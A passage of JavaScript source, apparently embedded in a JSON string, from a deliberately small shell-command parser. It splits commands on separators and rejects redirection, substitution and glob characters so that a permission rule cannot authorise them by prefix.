{\n\t\t\t\tcurrent += ch + next;\n\t\t\t\ti += 2;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\t// Unquoted.\n\t\tif (ch === \"'\" || ch === '\"') {\n\t\t\tquote = ch;\n\t\t\tcurrent += ch;\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"\\\\\" && next !== undefined) {\n\t\t\tcurrent += ch + next;\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\t// These forms make a seemingly read-only command perform I/O, expand into\n\t\t// different arguments, or introduce grammar this deliberately small parser\n\t\t// cannot prove safe. A permission rule must never authorize them by prefix.\n\t\tif (\n\t\t\tch === \"<\" ||\n\t\t\tch === \">\" ||\n\t\t\tch === \"$\" ||\n\t\t\tch === \"{\" ||\n\t\t\tch === \"}\" ||\n\t\t\tch === \"(\" ||\n\t\t\tch === \")\" ||\n\t\t\tch === \"*\" ||\n\t\t\tch === \"?\" ||\n\t\t\tch === \"[\" ||\n\t\t\tch === \"]\" ||\n\t\t\tch === \"~\"\n\t\t) {\n\t\t\treturn { type: \"unparseable\" };\n\t\t}\n\t\tif (ch === \"\\n\" || ch === \";\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"&\" && next === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" && next === \"|\") {\n\t\t\tpushSegment();\n\t\t\ti += 2;\n\t\t\tcontinue;\n\t\t}\n\t\tif (ch === \"|\" || ch === \"&\") {\n\t\t\tpushSegment();\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tcurrent += ch;\n\t\ti++;\n\t}\n\n\tif (quote !== undefined) return { type: \"unparseable\" }; // unterminated quote\n\n\tpushSegment();\n\n\treturn segments.length === 0 ? { type: \"empty\" } : { type: \"segments\", segments };\n}\n"]}